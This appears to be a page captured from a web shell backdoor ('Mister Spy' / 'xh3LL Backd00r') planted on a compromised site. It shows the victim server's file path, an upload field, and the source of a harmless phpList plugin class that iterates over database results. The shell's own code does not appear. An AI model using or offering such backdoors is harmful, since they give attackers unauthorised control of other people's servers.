Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/phplist/lists/admin/plugins/CommonPlugin/
Upload File :
Current File : /home/caballoscriollos/www/phplist/lists/admin/plugins/CommonPlugin/DBResultIterator.php

<?php
/**
 * CommonPlugin for phplist
 * 
 * This file is a part of CommonPlugin.
 *
 * @category  phplist
 * @package   CommonPlugin
 * @author    Duncan Cameron
 * @copyright 2011-2012 Duncan Cameron
 * @license   http://www.gnu.org/licenses/gpl.html GNU General Public License, Version 3
 */

/**
 * This class provides an iterator for the result of a db query
 * 
 */
class CommonPlugin_DBResultIterator implements Iterator, Countable
{
    /**
     * Current offset.
     */
    protected $row;
    
    /**
     * MySQL result
     */
    protected $result;
    
    /**
     * Number of rows in result set.
     */
    public $count;
    
    /**
     * Constructor.
     * Stores the query result.
     * 
     * @param resource $result
     */
    public function __construct($resource)
    {    
        $this->result = $resource;
        $this->row = 0;
        $this->count = sql_num_rows($resource);
    }    
    
    public function __destruct()
    {
    }
    
    /**
     * Returns next row of result data.
     * 
     * @return object $row
     */
    public function current()
    {
        return sql_fetch_assoc($this->result);
    }
        
    /**
     * Returns current row number
     */
    public function key()
    {
        return $this->row;
    }
    
    /** 
     * Increments the row number
     * 
     */
    public function next()
    {
        ++$this->row;
    }
    
    /**
     * Resets the row number and seeks the result back.
     * 
     */
    public function rewind()
    {
        $this->row = 0;
    }
    
    /**
     * Returns whether current row number is a valid row based on total
     * number of available rows in result resource.
     * 
     * @return bool
     */
    public function valid()
    {
        return (bool) ($this->row < $this->count);
    }    

    /**
    * Implementation of Countable interface
    * Returns the number of rows in the result
     * 
     * @return integer
     */
    public function count()
    {
        return $this->count;
    }
}

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat